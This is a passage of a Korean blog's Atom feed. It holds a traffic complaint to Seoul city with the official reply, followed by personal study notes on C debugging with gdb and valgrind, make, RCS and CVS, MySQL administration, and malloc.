/&gt;무슨 홍제동은 차가 이리도 막힌답니까? &lt;br /&gt;은평 뉴타운이 들어서서 그런가 거참.. 너무 하네요.. &lt;br /&gt;고작 2km 가는데 40분이라니 &lt;br /&gt;반대 차선 보면 차가 하나도 없어서 텅텅 비어있는데 &lt;br /&gt;아침 출근시간에는 반대차선 하나 더 쓰는 방식으로 했으면 합니다 &lt;br /&gt;예를 들면 시청옆에 보면 차선별로해서 중앙을 변동에서 쓰잖아요 &lt;br /&gt;&lt;br /&gt;그리고 또 한가지 내부순환도로로 올라가는 차량들 다른 곳으로 뺄수 있는 &lt;br /&gt;방법 좀 생각해 보세요. 아주 미어 터집니다!!   &lt;br /&gt;&lt;br /&gt;================================================================================&lt;br /&gt;&lt;br /&gt;답변 : 서울특별시청 교통운영담당관입니다.&lt;br /&gt; &lt;br /&gt;보내주신 "홍제동 주변 교통정체"에 대한 의견 잘 받아 보았습니다. 답변에 앞서 교통정체로 인해 많은 불편을 겪고 계신 점을 매우 유감으로 생각합니다.&lt;br /&gt;&lt;br /&gt;먼저, 홍제동 주변 교통정체에 대하여는 우리 시 교통정책에 의거 대중교통 이용 활성화를 위하여 2010년에 통일로~의주로 구간에 중앙버스전용차로를 설치계획(도로교통시설담당관)으로 있고, 홍제고가차도 철거여부를 검토용역 시행 중(도로계획담당관행)이며, 은평뉴타운과 도심부를 직접 연결할 수 있는 유료 민자도로 건설을 추진(2014년 건설예정)하는 등 다각도로 통일로-의주로 교통축의 교통정체 완화를 위해 노력하고 있음을 말씀 드립니다.&lt;br /&gt;&lt;br /&gt;마지막으로 내부순환로 진출입로 추가 설치 의견 역시 2015년까지 5개소의 진출입로를 추가하기 위한 타당성 조사 및 기본계획용역을 진행 중(도로계획담당관)에 있음을 알려드립니다.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;P.S 와우 친절하다~ ^^ 굳!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-5054653877146348549?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/5054653877146348549/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post_11.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5054653877146348549'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/5054653877146348549'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/blog-post_11.html' title='홍제동 차량 정체에 대해서 민원 넣습니다'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-7775505122532165567</id><published>2009-03-10T23:14:00.000-07:00</published><updated>2009-03-10T23:15:28.469-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>11Day Study</title><content type='html'>11Day Study&lt;br /&gt;[[[[[디버깅(Debuging)]]]]]&lt;br /&gt;&lt;br /&gt;gcc 오류를 추적하면서 컴파일 하기&lt;br /&gt;gcc -Wall -pedantic -ansi&lt;br /&gt;&lt;br /&gt;인스트루먼트 예:&lt;br /&gt;#ifdef BEBUG&lt;br /&gt; printf("variable x has value = %d\n", x);&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;인스트루먼트 복합 적용 예:&lt;br /&gt;#ifndef DEBUG&lt;br /&gt;#define DEBUG 0&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;#define BASIC_DEBUG 1&lt;br /&gt;#define EXTRA_DEBUG 2&lt;br /&gt;#define SUPER_DEBUG 4&lt;br /&gt;&lt;br /&gt;#if (DEBUG &amp; EXTRA_DEBUG)&lt;br /&gt; printf...&lt;br /&gt;#endif&lt;br /&gt;&lt;br /&gt;컴파일 방법&lt;br /&gt;gcc -o cinfo --DEBUG cinfo.c&lt;br /&gt;&lt;br /&gt;그냥 print를 활용하기&lt;br /&gt;if(debug) {&lt;br /&gt; sprintf(msg,...);&lt;br /&gt; write_debug(msg)&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;gdb를 이용한 디버깅&lt;br /&gt;gcc -g -o debugex debugex.c &amp;lt = 꼭 -g 옵션이 필요함&lt;br /&gt;gdb debugex&lt;br /&gt;GNU gdb Red Hat Linux (6.5-37.el5_2.2rh)&lt;br /&gt;Copyright (C) 2006 Free Software Foundation, Inc.&lt;br /&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt;Type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB.  Type "show warranty" for details.&lt;br /&gt;This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".&lt;br /&gt;&lt;br /&gt;(gdb) run =&gt; debugex를 실행&lt;br /&gt;Starting program: /root/cstudy/maxusermem&lt;br /&gt;&lt;br /&gt;Program received signal SIGSEGV, Segmentation fault.&lt;br /&gt;0x080483ef in main () at ./maxusermem.c:14&lt;br /&gt;14       *scan_ptr='\0'; =&gt; 14번째 줄 에러&lt;br /&gt;(gdb) bt &amp;lt = 스택을 추적하여 코드 에러 부분을 호출한 부분을 찾을 수 있음&lt;br /&gt;#0  0x080483ef in main () at ./maxusermem.c:14&lt;br /&gt;(gdb) backtrace =&gt; 스택을 추적하여 코드 에러 부분을 호출한 부분을 찾을 수 있음&lt;br /&gt;#0  0x080483ef in main () at ./maxusermem.c:14&lt;br /&gt;(gdb) print scan_ptr =&gt; scan_ptr 변수값 보기&lt;br /&gt;$2 = 0x9a6f000 &amp;lt Address 0x9a6f000 out of bounds&gt;&lt;br /&gt;(gdb) print ex[$-1] =&gt; ex배열의 마지막 결과값 바로 전꺼 보기&lt;br /&gt;(gdb) print ex[3].key =&gt; ex배열 3번째의 key 값 보기&lt;br /&gt;(gdb) print ex[0]@ =&gt; ex배열 전체 보기&lt;br /&gt;(gdb) list =&gt; 소스 보기&lt;br /&gt;9&lt;br /&gt;10       some_memory=(char *)malloc(ONE_K);&lt;br /&gt;11       if(some_memory == NULL) exit(EXIT_FAILURE);&lt;br /&gt;12       scan_ptr=some_memory;&lt;br /&gt;13       while(1) {&lt;br /&gt;14       *scan_ptr='\0';&lt;br /&gt;15       scan_ptr++;&lt;br /&gt;16       }&lt;br /&gt;17        exit(EXIT_SUCCESS);&lt;br /&gt;18      }&lt;br /&gt;(gdb) help breakpoint =&gt; 브레이크 포인트 설명 보기&lt;br /&gt;(gdb) break 11 =&gt; 11번째 줄에 중단점 만들기&lt;br /&gt;Breakpoint 1 at 0x80483d4: file ./maxusermem.c, line 11.&lt;br /&gt;(gdb) run&lt;br /&gt;The program being debugged has been started already.&lt;br /&gt;Start it from the beginning? (y or n) y&lt;br /&gt;&lt;br /&gt;Starting program: /root/cstudy/maxusermem&lt;br /&gt;&lt;br /&gt;Breakpoint 1, main () at ./maxusermem.c:11&lt;br /&gt;11       if(some_memory == NULL) exit(EXIT_FAILURE);&lt;br /&gt;(gdb) print some_memory&lt;br /&gt;$8 = 0x8de0008 ""&lt;br /&gt;(gdb) cont =&gt; 중단점을 지나서 계속 진행&lt;br /&gt;Continuing.&lt;br /&gt;(gdb) next =&gt; 중단점을 지나서 다음으로 진행&lt;br /&gt;(gdb) display ex[0]@ =&gt; 실행될때 마다 보여줌&lt;br /&gt;(gdb) commands =&gt; 브레이크 포인트 만날 때를 제어함&lt;br /&gt;Type commands for when breakpoint 1 is hit, one per line.&lt;br /&gt;End with a line saying just "end".&lt;br /&gt;&gt;cont =&gt; 중단점 무시하여 진행&lt;br /&gt;&gt;end =&gt; commands 나가기&lt;br /&gt;(gdb) info display =&gt; 디스플레이 정보 보기&lt;br /&gt;Auto-display expressions now in effect:&lt;br /&gt;Num Enb Expression&lt;br /&gt;1:   y  some_memory&lt;br /&gt;(gdb) info break =&gt; 브레이크 포인트 정보 보기&lt;br /&gt;Num Type           Disp Enb Address    What&lt;br /&gt;1   breakpoint     keep y   0x080483d4 in main at ./maxusermem.c:11&lt;br /&gt;        breakpoint already hit 1 time&lt;br /&gt;        cont&lt;br /&gt;(gdb) disable break 1 =&gt; 브레이크 포인트 1 비활성&lt;br /&gt;(gdb) disable display 1 =&gt; 디스플레이 1 비활성&lt;br /&gt;(gdb) commands 1 =&gt; 브레이크 포인트 1번을 제어&lt;br /&gt;Type commands for when breakpoint 1 is hit, one per line.&lt;br /&gt;End with a line saying just "end".&lt;br /&gt;&gt;set variable ex = 2; =&gt; ex 변수를 2로 변경하여 처리함&lt;br /&gt;&gt;cont&lt;br /&gt;&gt;end&lt;br /&gt;(gdb) run&lt;br /&gt;(gdb) quit&lt;br /&gt;The program is running.  Exit anyway? (y or n) y&lt;br /&gt;[root@waf cstudy]#&lt;br /&gt;&lt;br /&gt;최적화 컴파일&lt;br /&gt;gcc -O -g -o test ./test.c&lt;br /&gt;&lt;br /&gt;$ splint -strict maxusermem.c =&gt; 컴파일 전에 프로그램 에러 잡기&lt;br /&gt;&lt;br /&gt;코어 덤프 파일 만들기&lt;br /&gt;gcc -g -o test ./test.c&lt;br /&gt;&lt;br /&gt;옵션 후 &lt;br /&gt;#include &amp;lt sys/resource.h&gt;&lt;br /&gt;&lt;br /&gt;static void&lt;br /&gt;set_limit(void)&lt;br /&gt;{&lt;br /&gt;    struct rlimit rlp;&lt;br /&gt;&lt;br /&gt;    rlp.rlim_cur = RLIM_INFINITY;&lt;br /&gt;    rlp.rlim_max = RLIM_INFINITY;&lt;br /&gt;&lt;br /&gt;    /* Core file size를 시스템 최대치로 설정 */&lt;br /&gt;    if (setrlimit(RLIMIT_CORE, &amp;rlp))&lt;br /&gt;        Log(ERROR, "Failed to set rlimit core file size: %s",&lt;br /&gt;                strerror(errno));&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;위가 안 되면&lt;br /&gt;ulimit -c unlimited &gt;/dev/null 2&gt;&amp;1 &lt;br /&gt;http://my.oops.org/77 참조&lt;br /&gt;&lt;br /&gt;[root@waf cstudy]# gdb debugex --core=./core.9794 ==&gt; 코어 파일을 이용하여 디버그&lt;br /&gt;GNU gdb Red Hat Linux (6.5-37.el5_2.2rh)&lt;br /&gt;Copyright (C) 2006 Free Software Foundation, Inc.&lt;br /&gt;GDB is free software, covered by the GNU General Public License, and you are&lt;br /&gt;welcome to change it and/or distribute copies of it under certain conditions.&lt;br /&gt;Type "show copying" to see the conditions.&lt;br /&gt;There is absolutely no warranty for GDB.  Type "show warranty" for details.&lt;br /&gt;This GDB was configured as "i386-redhat-linux-gnu"...Using host libthread_db library "/lib/libthread_db.so.1".&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;warning: Can't read pathname for load map: Input/output error.&lt;br /&gt;Reading symbols from /lib/libc.so.6...done.&lt;br /&gt;Loaded symbols for /lib/libc.so.6&lt;br /&gt;Reading symbols from /lib/ld-linux.so.2...done.&lt;br /&gt;Loaded symbols for /lib/ld-linux.so.2&lt;br /&gt;Core was generated by `./max'.&lt;br /&gt;Program terminated with signal 11, Segmentation fault.&lt;br /&gt;#0  0x080483ef in main () at maxusermem.c:15&lt;br /&gt;15       *scan_ptr='\0';&lt;br /&gt;(gdb) bt&lt;br /&gt;#0  0x080483ef in main () at maxusermem.c:15&lt;br /&gt;(gdb)&lt;br /&gt;&lt;br /&gt;prof/gprof를 이용하여 서브함수별 속도를 나타냄&lt;br /&gt;gcc -pg -o program program.c&lt;br /&gt;./program&lt;br /&gt;ls -la하면 gmon.out이 생김&lt;br /&gt;&lt;br /&gt;메모리 디버깅(malloc와 free 이용할 때 사용)&lt;br /&gt;gcc -o test test.c -lefence&lt;br /&gt;./test&lt;br /&gt;gdb test&lt;br /&gt;(gdb) run&lt;br /&gt;&lt;br /&gt;valgrind =&gt; 가장 좋은 디버거&lt;br /&gt;$ valgrind --leak-check=yes -v ./test&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-7775505122532165567?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/7775505122532165567/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/11day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7775505122532165567'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7775505122532165567'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/11day-study.html' title='11Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-902196447675484111</id><published>2009-03-10T20:41:00.000-07:00</published><updated>2009-03-10T23:16:02.971-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>10Day Study</title><content type='html'>10Day Study&lt;br /&gt;[[[[[개발 도구]]]]]&lt;br /&gt;메이크파일 문법&lt;br /&gt;-k : 에러를 발견 했더라도 멈추지 않고 계속 진행&lt;br /&gt;-n : 실제로 작업을 수행하지 않고 어떤 작업을 수행할 것인지 출력한다&lt;br /&gt;-f &amp;lt 파일 이름&gt; : 메이크파일로 이 파일을 사용함&lt;br /&gt;&lt;br /&gt;make 실행시 첫번째 대상이 make 됨(예: all이 맨 첨이면 all)&lt;br /&gt;&lt;br /&gt;make 파일안에 종속표현(:)&lt;br /&gt;myapp: main.o 2.o 3.o =&gt; myapp는 main.o와 2.o와 3.o에 종속&lt;br /&gt;&lt;br /&gt;all: myapp myapp.1 =&gt; 응용프로그램이 바이너리 파일 myapp와 메뉴얼 페이지 myapp.1로 이루어 질때&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;메이크 파일은 매우 이상한 문법이다.&lt;br /&gt;모든 법칙은 탭으로 시작하는 줄로 작성된다. 공백은 안 된다. 여러 개의 공백과 탭은 매우 유사해 보이고, 메이크파일 이외 거의 모든 분야의 리눅스 프로그래밍에서 공백과 탭은 구분하지 않기 때문에, 이러한 문법은 문제를 일으킬 수 있다. 또한 메이크파일의 마지막 줄에 있는 공백 때문에 make 명령이 실패할 수도 있다.&lt;br /&gt;현재 이러한 문법을 고수하며 존재하는 메이크파일이 수도 없이 많다. 그러므로 조심해야 한다. 다행스럽게도 탭이 빠져서 make 명령이 작동하지 않는 경우가 상당히 자주 발생함으로 안될때는 탭 검사를 해보자&lt;br /&gt;&lt;br /&gt;메이크 파일의 주석은? #&lt;br /&gt;&lt;br /&gt;make 특별 내부 메크로&lt;br /&gt;$? : 현재 대상보다 더 최근에 변경된 파일 이름&lt;br /&gt;$@ : 현재 대상의 이름&lt;br /&gt;$&amp;lt  : 현재 파일 이름&lt;br /&gt;$* : 접미사(suffix)를 제거한 현재 파일 이름&lt;br /&gt;&lt;br /&gt;앞에 -를 지정하면 make는 에러를 무시&lt;br /&gt;앞에 @를 지정하면 표준 출력으로 표시 안 함&lt;br /&gt;이전 명령이 성공해야 다음 명령을 실행 조건은 &amp;&amp;로 표시(and 기능)&lt;br /&gt;make -p =&gt; make의 내장 법칙 보기&lt;br /&gt;&lt;br /&gt;cpp 확장자(suffix)를 컴파일 하기&lt;br /&gt;.SUFFIXES:  .cpp&lt;br /&gt;.cpp.o:&lt;br /&gt;  $(CC) -xc++ $(CFLAGS) -I$(INCLUDE) -c $&amp;lt &lt;br /&gt;  &lt;br /&gt;%.cpp: %o&lt;br /&gt;  $(CC) -xc++ $(CFLAGS) -I$(INCLUDE) -c $&amp;lt &lt;br /&gt;  &lt;br /&gt;위 2개는 같은것임&lt;br /&gt;&lt;br /&gt;라이브러리 관리하기 예: 510페이지 참조&lt;br /&gt;&lt;br /&gt;RCS =&gt; 소스 코드 관리(형상관리) 1인용&lt;br /&gt;rcs 제어 초기화&lt;br /&gt;$ rcs -i important.c =&gt; 나갈때는 Ctrl+D 또는 .&lt;br /&gt;결과는 rcs는 ,v 확장자를 가진 새로운 읽기 전용 파일을 만듬&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;RCS 파일을 별도 디렉토리에 저장하고 싶다면, 단순히 rcs를 처음 사용하기 전에 RCS라는 하위디렉토리를 만들면 된다. 모든 rcs 명령은 자동으로 rcs 파일을 위해 RCS 하위 디렉토리를 사용함&lt;br /&gt;&lt;br /&gt;co =&gt; 파일 변경 하기전 체크 아웃&lt;br /&gt;co important.c =&gt; 최신 버전으로 복구&lt;br /&gt;co -l important.c =&gt; 소스 수정을 위한 읽기 전용 해제&lt;br /&gt;&lt;br /&gt;ci =&gt; 소스 변경 저장(기존 소스 파일이 지워짐)&lt;br /&gt;ci important.c&lt;br /&gt;&lt;br /&gt;복구(버전 1.1로 복구)&lt;br /&gt;co -r1.1 important.c&lt;br /&gt;&lt;br /&gt;rlog important.c =&gt; 파일의 변경 사항 요약 보기&lt;br /&gt;rcsdiff -r1.1 -r1.2 important.c =&gt; 버전 1.1과 1.2를 비교해 보기&lt;br /&gt;&lt;br /&gt;개정 자동 식별 추가&lt;br /&gt;static char *RCSinfo = "$Id$"; =&gt; 소스안에 추가&lt;br /&gt;&lt;br /&gt;실행파일의 개정 자동 식별 하기&lt;br /&gt;$ ident ./important&lt;br /&gt;&lt;br /&gt;CVS =&gt; 인터넷을 통한 소스 코드 관리(형상관리) 다인용&lt;br /&gt;&lt;br /&gt;cvs 초기 디렉토리 만들기&lt;br /&gt;mkdir /usr/local/repository&lt;br /&gt;&lt;br /&gt;cvs 초기화&lt;br /&gt;cvs -d /usr/local/repository init&lt;br /&gt;&lt;br /&gt;현재 디렉토리에 있는 소스를 /usr/local/repository/wrox/chap9-cvs에 저장&lt;br /&gt;cvs import -d /usr/local/repository/ -m"Initial versoin of Simple Project" wrox/chap9-cvs wrox start&lt;br /&gt;&lt;br /&gt;밑에 cvs의 -d 옵션을 제거하기 위해서 해야할 일&lt;br /&gt;export CVSROOT=/usr/local/repository&lt;br /&gt;&lt;br /&gt;cvs로 체크 후 갖고오기&lt;br /&gt;cvs checkout wrox/chap9-cvs&lt;br /&gt;&lt;br /&gt;cvs로 비교&lt;br /&gt;cvs diff&lt;br /&gt;&lt;br /&gt;cvs로 뭘 체크하는지 보기&lt;br /&gt;cvs commit&lt;br /&gt;&lt;br /&gt;세부사항 보기&lt;br /&gt;cvs rdiff -r1.1 wrox/chap9-cvs&lt;br /&gt;&lt;br /&gt;cvs 업데이트&lt;br /&gt;cvs update -Pd wrox/chap9-cvs&lt;br /&gt;&lt;br /&gt;cvs 네트워크로 액세스 =&gt; 527페이지 참조&lt;br /&gt;&lt;br /&gt;diff로 차이점 목록 만들기&lt;br /&gt;diff file1.c file2.c &gt; diffs&lt;br /&gt;&lt;br /&gt;file1.c와 diffs를 이용해서 패치&lt;br /&gt;patch file1.c diffs&lt;br /&gt;&lt;br /&gt;패치 원복하기&lt;br /&gt;patch -R file1.c diffs&lt;br /&gt;&lt;br /&gt;spec 파일 빌드하기&lt;br /&gt;rpmbuild -ba myapp.spec&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-902196447675484111?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/902196447675484111/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/10day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/902196447675484111'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/902196447675484111'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/10day-study.html' title='10Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-9109998158956965385</id><published>2009-03-08T21:54:00.001-07:00</published><updated>2009-03-08T21:55:05.423-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>9Day Study</title><content type='html'>9Day Study&lt;br /&gt;[[[[[Mysql 관련]]]]]&lt;br /&gt;Mysql: Mysql의 장점은 무료고 속도가 빠르다&lt;br /&gt;PostgreSQL: PostgreSQL의 장점은 완전 무료고 일반 기본 쿼리 속도는 mysql에 뒤처지지만 복잡한 쿼리 속도는 Mysql보다 빠름&lt;br /&gt;&lt;br /&gt;주요서버 패키지: MySQL-server-&amp;lt 버전&gt;.&amp;lt 아키텍처&gt;.rpm&lt;br /&gt;클라이언트 패키지: MySQL-client-&amp;lt 버전&gt;.&amp;lt 아키텍처&gt;.rpm&lt;br /&gt;공유 구성요소 패키지: MySQL-share-&amp;lt 버전&gt;.&amp;lt 아키텍처&gt;.rpm&lt;br /&gt;개발 패키지: MySQL-devel-&amp;lt 버전&gt;.&amp;lt 아키텍처&gt;.rpm&lt;br /&gt;&lt;br /&gt;실행수준 1,3에 msyql을 시작를 추가&lt;br /&gt;ln -s /etc/rc.d/init.d/mysql /etc/rc.d/rc1.d/S97mysql&lt;br /&gt;ln -s /etc/rc.d/init.d/mysql /etc/rc.d/rc3.d/S97mysql&lt;br /&gt;chkconfig --add mysql&lt;br /&gt;chkconfig --level 13 mysql on&lt;br /&gt;&lt;br /&gt;실행수준 2에 mysql을 정지를 추가&lt;br /&gt;ln -s /etc/rc.d/init.d/mysql /etc/rc.d/rc2.d/K97mysql&lt;br /&gt;chkconfig --add mysql&lt;br /&gt;chkconfig --level 2 mysql off&lt;br /&gt;&lt;br /&gt;mysql 실행 수준 보기&lt;br /&gt;chkconfig --list 또는 chkconfig --list 서비스명&lt;br /&gt;&lt;br /&gt;$mysqladmin -u root password 설정패스워드 &amp;lt = 초기 패스워드 설정을 함&lt;br /&gt;&lt;br /&gt;$mysql -u root -p &amp;lt = mysql root로 접속&lt;br /&gt;&lt;br /&gt;rick 사용자 만들기&lt;br /&gt;mysql&gt; GRANT ALL ON *.* TO rick@localhost IDENTIFIED BY '패스워드';&lt;br /&gt;192.168.0 클래스 C 서브넷에서 연결만&lt;br /&gt;mysql&gt; GRANT ALL ON *.* TO rick@'192.168.0.0/255.255.255.0' IDENTIFIED BY '패스워드';&lt;br /&gt;도메인 wiley.com 속한 컴퓨터는 모두 통과&lt;br /&gt;mysql&gt; GRANT ALL ON *.* TO rick@'%.wiley.com' IDENTIFIED BY '패스워드';&lt;br /&gt;특정 DB만 권한 주기&lt;br /&gt;mysql&gt; GRANT ALL ON database_name.* TO rick@'%.wiley.com' IDENTIFIED BY '패스워드';&lt;br /&gt;&lt;br /&gt;Mysql 로그보기&lt;br /&gt;$mysql_safed -log&lt;br /&gt;&lt;br /&gt;myisamchk =&gt; mysql db 점검(테이블이 저장되어 있는 디렉토리에서 실행)&lt;br /&gt;$myisamchk -e -r *.MYI&lt;br /&gt;&lt;br /&gt;-c: 테이블의 에러를 점검&lt;br /&gt;-e: 확장된 점검을 수행한다&lt;br /&gt;-r: 발견한 에러를 복구(수정) 함&lt;br /&gt;&lt;br /&gt;mysqldump =&gt; mysql 백업 프로그램&lt;br /&gt;&lt;br /&gt;mysql 데이터 형식 =&gt; 438페이지 참조&lt;br /&gt;&lt;br /&gt;MySQLCC =&gt; mysql GUI 관리툴&lt;br /&gt;&lt;br /&gt;mysql 프로그램 예: 469, 480페이지 참조&lt;br /&gt;&lt;br /&gt;컴파일 명령어:&lt;br /&gt;$gcc -I/usr/include/mysql connect.c -L/usr/lib/mysql -lmysqlclient -lz -o connect&lt;br /&gt;&lt;br /&gt;mysql&gt; SELECT LAST_INSERT_ID(); &amp;lt = 마지막 AUTO_INCREMENT 값 갖고 오기&lt;br /&gt;&lt;br /&gt;mysql_store_result =&gt; SELECT 결과값 뭉탱이로 갖고 오기&lt;br /&gt;mysql_use_result =&gt; SELECT 결과값 한 행씩 가져오기&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-9109998158956965385?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/9109998158956965385/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/9day-study.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/9109998158956965385'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/9109998158956965385'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/9day-study.html' title='9Day Study'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-8441350793015173538</id><published>2009-03-08T21:09:00.000-07:00</published><updated>2009-03-08T21:12:22.819-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='ETC'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Python'/><title type='text'>Google App Engine</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;a style="font-family: arial;" href="http://flyingmate.net/45" target="blank"&gt;http://flyingmate.net/45&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-8441350793015173538?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/8441350793015173538/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/03/google-app-engine.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8441350793015173538'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8441350793015173538'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/03/google-app-engine.html' title='Google App Engine'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-1276394171681214610</id><published>2009-03-08T19:20:00.000-07:00</published><updated>2009-03-10T23:18:48.512-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C'/><category scheme='http://www.blogger.com/atom/ns#' term='Programing'/><category scheme='http://www.blogger.com/atom/ns#' term='Book Study'/><title type='text'>8Day Study</title><content type='html'>8Day Study&lt;br /&gt;[[[[[데이터 관리]]]]]&lt;br /&gt;&lt;br /&gt;malloc =&gt; 메모리 할당하기&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;void *malloc(size_t size);&lt;br /&gt;&lt;br /&gt;!!중요!!&lt;br /&gt;유닉스에서는 malloc.h 헤더파일 필요&lt;br /&gt;사용가능한 메모리 예:&lt;br /&gt;#include &amp;lt unistd.h&gt;&lt;br /&gt;#include &amp;lt stdlib.h&gt;&lt;br /&gt;#include &amp;lt stdio.h&gt;&lt;br /&gt;&lt;br /&gt;#define ONE_K (1024 * 1024000)&lt;br /&gt;&lt;br /&gt;int main()&lt;br /&gt;{&lt;br /&gt; char *some_memory;&lt;br /&gt; int size_to_allocate = ONE_K;&lt;br /&gt; int megs_ob = 0;&lt;br /&gt; int ks_ob = 0;&lt;br /&gt;&lt;br /&gt; while (1)&lt;br /&gt; {&lt;br /&gt;  for(ks_ob=0;ks_ob&gt;1024;ks_ob++)&lt;br /&gt;  {&lt;br /&gt;   some_memory=(char *)malloc(size_to_allocate);&lt;br /&gt;   if(some_memory == NULL) exit(EXIT_FAILURE);&lt;br /&gt;    sprintf(some_memory, "Hello world");&lt;br /&gt;  }&lt;br /&gt;  megs_ob++;&lt;br /&gt;  printf("Now allocated %d Megabytes\n", megs_ob);&lt;br /&gt; }&lt;br /&gt;  exit(EXIT_SUCCESS);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;리눅스는 모든 메모리를 페이지로 나누는데, 보통 한 페이지는 4096바이트 이다&lt;br /&gt;&lt;br 